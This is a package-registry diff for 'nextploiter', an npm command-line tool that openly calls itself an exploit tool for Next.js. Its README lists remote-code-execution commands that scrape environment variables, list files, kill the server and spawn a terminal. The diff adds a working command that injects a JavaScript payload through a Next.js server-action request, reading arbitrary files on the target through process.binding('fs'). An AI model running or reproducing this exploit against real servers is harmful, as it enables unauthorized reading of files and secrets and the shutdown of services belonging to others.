nextploiter 0.0.0 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -20,7 +20,7 @@ $ npm install -g nextploiter
20
20
  $ nextploiter COMMAND
21
21
  running command...
22
22
  $ nextploiter (--version)
23
- nextploiter/0.0.0 darwin-arm64 node-v24.12.0
23
+ nextploiter/1.0.0 darwin-arm64 node-v24.12.0
24
24
  $ nextploiter --help [COMMAND]
25
25
  USAGE
26
26
  $ nextploiter COMMAND
@@ -45,6 +45,7 @@ USAGE
45
45
  * [`nextploiter rce kill-server`](#nextploiter-rce-kill-server)
46
46
  * [`nextploiter rce list-env`](#nextploiter-rce-list-env)
47
47
  * [`nextploiter rce list-files`](#nextploiter-rce-list-files)
48
+ * [`nextploiter rce process-access-files`](#nextploiter-rce-process-access-files)
48
49
  * [`nextploiter rce spawn-terminal`](#nextploiter-rce-spawn-terminal)
49
50
 
50
51
  ## `nextploiter help [COMMAND]`
@@ -369,7 +370,7 @@ DESCRIPTION
369
370
  Used for running javascript code at the remote server.
370
371
  ```
371
372
 
372
- _See code: [src/commands/rce/index.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/index.ts)_
373
+ _See code: [src/commands/rce/index.ts](https://github.com/vonuyvicoo/nextploiter/blob/v1.0.0/src/commands/rce/index.ts)_
373
374
 
374
375
  ## `nextploiter rce access-files`
375
376
 
@@ -386,7 +387,7 @@ DESCRIPTION
386
387
  Helper to list return files in the server. May not work for serverless systems.
387
388
  ```
388
389
 
389
- _See code: [src/commands/rce/access-files.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/access-files.ts)_
390
+ _See code: [src/commands/rce/access-files.ts](https://github.com/vonuyvicoo/nextploiter/blob/v1.0.0/src/commands/rce/access-files.ts)_
390
391
 
391
392
  ## `nextploiter rce kill-server`
392
393
 
@@ -403,7 +404,7 @@ DESCRIPTION
403
404
  Helper that uses process.exit to shutdown remote server.
404
405
  ```
405
406
 
406
- _See code: [src/commands/rce/kill-server.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/kill-server.ts)_
407
+ _See code: [src/commands/rce/kill-server.ts](https://github.com/vonuyvicoo/nextploiter/blob/v1.0.0/src/commands/rce/kill-server.ts)_
407
408
 
408
409
  ## `nextploiter rce list-env`
409
410
 
@@ -420,7 +421,7 @@ DESCRIPTION
420
421
  Helper that iterates through process.env to scrape all environment variables.
421
422
  ```
422
423
 
423
- _See code: [src/commands/rce/list-env.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/list-env.ts)_
424
+ _See code: [src/commands/rce/list-env.ts](https://github.com/vonuyvicoo/nextploiter/blob/v1.0.0/src/commands/rce/list-env.ts)_
424
425
 
425
426
  ## `nextploiter rce list-files`
426
427
 
@@ -438,7 +439,25 @@ DESCRIPTION
438
439
  Helper to list all files in the server. May not work for serverless systems.
439
440
  ```
440
441
 
441
- _See code: [src/commands/rce/list-files.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/list-files.ts)_
442
+ _See code: [src/commands/rce/list-files.ts](https://github.com/vonuyvicoo/nextploiter/blob/v1.0.0/src/commands/rce/list-files.ts)_
443
+
444
+ ## `nextploiter rce process-access-files`
445
+
446
+ Helper to access files using the exposed Node process and utilizes process.binding, may depend on Node version.
447
+
448
+ ```
449
+ USAGE
450
+ $ nextploiter rce process-access-files --baseURL <value> --path <value>
451
+
452
+ FLAGS
453
+ --baseURL=<value> (required)
454
+ --path=<value> (required)
455
+
456
+ DESCRIPTION
457
+ Helper to access files using the exposed Node process and utilizes process.binding, may depend on Node version.
458
+ ```
459
+
460
+ _See code: [src/commands/rce/process-access-files.ts](https://github.com/vonuyvicoo/nextploiter/blob/v1.0.0/src/commands/rce/process-access-files.ts)_
442
461
 
443
462
  ## `nextploiter rce spawn-terminal`
444
463
 
@@ -455,5 +474,5 @@ DESCRIPTION
455
474
  Helper that spawns a terminal.
456
475
  ```
457
476
 
458
- _See code: [src/commands/rce/spawn-terminal.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/spawn-terminal.ts)_
477
+ _See code: [src/commands/rce/spawn-terminal.ts](https://github.com/vonuyvicoo/nextploiter/blob/v1.0.0/src/commands/rce/spawn-terminal.ts)_
459
478
  <!-- commandsstop -->
File without changes
@@ -0,0 +1 @@
1
+ "use strict";
@@ -1,4 +1,5 @@
1
1
  import { NextploiterCommand } from "../../base/nextploiter-command";
2
+ /** This is not implemented yet, maybe later? **/
2
3
  export default class AccessFiles extends NextploiterCommand {
3
4
  static description: string;
4
5
  static flags: {
@@ -9,6 +9,7 @@ const form_data_1 = __importDefault(require("form-data"));
9
9
  const node_fetch_1 = __importDefault(require("node-fetch"));
10
10
  const digestParser_1 = require("../../_shared/helpers/digestParser");
11
11
  const nextploiter_command_1 = require("../../base/nextploiter-command");
12
+ /** This is not implemented yet, maybe later? **/
12
13
  class AccessFiles extends nextploiter_command_1.NextploiterCommand {
13
14
  static description = "Helper to list return files in the server. May not work for serverless systems.";
14
15
  static flags = {
@@ -0,0 +1,11 @@
1
+ import { NextploiterCommand } from "../../base/nextploiter-command";
2
+ import { CommandError } from "@oclif/core/lib/interfaces";
3
+ export default class ProcessAccessFiles extends NextploiterCommand {
4
+ static description: string;
5
+ static flags: {
6
+ baseURL: import("@oclif/core/lib/interfaces").OptionFlag<string, import("@oclif/core/lib/interfaces").CustomOptions>;
7
+ path: import("@oclif/core/lib/interfaces").OptionFlag<string, import("@oclif/core/lib/interfaces").CustomOptions>;
8
+ };
9
+ run(): Promise<void>;
10
+ catch(err: CommandError): Promise<void>;
11
+ }
@@ -0,0 +1,54 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ const core_1 = require("@oclif/core");
7
+ const payloads_1 = require("../../payloads");
8
+ const form_data_1 = __importDefault(require("form-data"));
9
+ const node_fetch_1 = __importDefault(require("node-fetch"));
10
+ const nextploiter_command_1 = require("../../base/nextploiter-command");
11
+ const digestParser_1 = require("../../_shared/helpers/digestParser");
12
+ class ProcessAccessFiles extends nextploiter_command_1.NextploiterCommand {
13
+ static description = "Helper to access files using the exposed Node process and utilizes process.binding, may depend on Node version.";
14
+ static flags = {
15
+ baseURL: core_1.Flags.string({
16
+ required: true
17
+ }),
18
+ path: core_1.Flags.string({
19
+ required: true
20
+ })
21
+ };
22
+ async run() {
23
+ const { flags } = await this.parse(ProcessAccessFiles);
24
+ const payload = (0, payloads_1.payloadBuilder)(`const fsBinding = process.binding('fs'); const { O_RDONLY } = process.binding('constants').fs; const fd = fsBinding.open('${flags.path}', O_RDONLY, 0o666); const buf = Buffer.alloc(1024); const bytes = fsBinding.read(fd, buf, 0, buf.length, 0); fsBinding.close(fd); const res = buf.slice(0, bytes).toString()`);
25
+ const fd = new form_data_1.default();
26
+ this.log("Sending payload: ", payload);
27
+ for (const key in payload) {
28
+ fd.append(key, JSON.stringify(payload[key]));
29
+ }
30
+ const response = await (0, node_fetch_1.default)(flags.baseURL, {
31
+ method: "POST",
32
+ headers: {
33
+ 'next-action': 'x',
34
+ ...fd.getHeaders()
35
+ },
36
+ body: fd.getBuffer(),
37
+ });
38
+ if (!response.ok) {
39
+ this.log(response.statusText);
40
+ }
41
+ const responseText = await response.text();
42
+ const parsedDigest = (0, digestParser_1.parseFlightDigest)(responseText);
43
+ this.log("Response: ", parsedDigest);
44
+ }
45
+ async catch(err) {
46
+ if (err.message.includes("socket hang up")) {
47
+ this.log("Server shut down successfully.");
48
+ }
49
+ else {
50
+ this.error(err);
51
+ }
52
+ }
53
+ }
54
+ exports.default = ProcessAccessFiles;
@@ -141,6 +141,41 @@
141
141
  "list-files.js"
142
142
  ]
143
143
  },
144
+ "rce:process-access-files": {
145
+ "aliases": [],
146
+ "args": {},
147
+ "description": "Helper to access files using the exposed Node process and utilizes process.binding, may depend on Node version.",
148
+ "flags": {
149
+ "baseURL": {
150
+ "name": "baseURL",
151
+ "required": true,
152
+ "hasDynamicHelp": false,
153
+ "multiple": false,
154
+ "type": "option"
155
+ },
156
+ "path": {
157
+ "name": "path",
158
+ "required": true,
159
+ "hasDynamicHelp": false,
160
+ "multiple": false,
161
+ "type": "option"
162
+ }
163
+ },
164
+ "hasDynamicHelp": false,
165
+ "hiddenAliases": [],
166
+ "id": "rce:process-access-files",
167
+ "pluginAlias": "nextploiter",
168
+ "pluginName": "nextploiter",
169
+ "pluginType": "core",
170
+ "strict": true,
171
+ "isESM": false,
172
+ "relativePath": [
173
+ "dist",
174
+ "commands",
175
+ "rce",
176
+ "process-access-files.js"
177
+ ]
178
+ },
144
179
  "rce:spawn-terminal": {
145
180
  "aliases": [],
146
181
  "args": {},
@@ -170,5 +205,5 @@
170
205
  ]
171
206
  }
172
207
  },
173
- "version": "0.0.0"
208
+ "version": "1.0.0"
174
209
  }
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "nextploiter",
3
3
  "description": "Exploit tool for NextJS. Contribute at github. https://github.com/vonuyvicoo/nextploiter",
4
- "version": "0.0.0",
4
+ "version": "1.0.0",
5
5
  "author": "Von Uyvico",
6
6
  "bin": {
7
7
  "nextploiter": "./bin/run.js"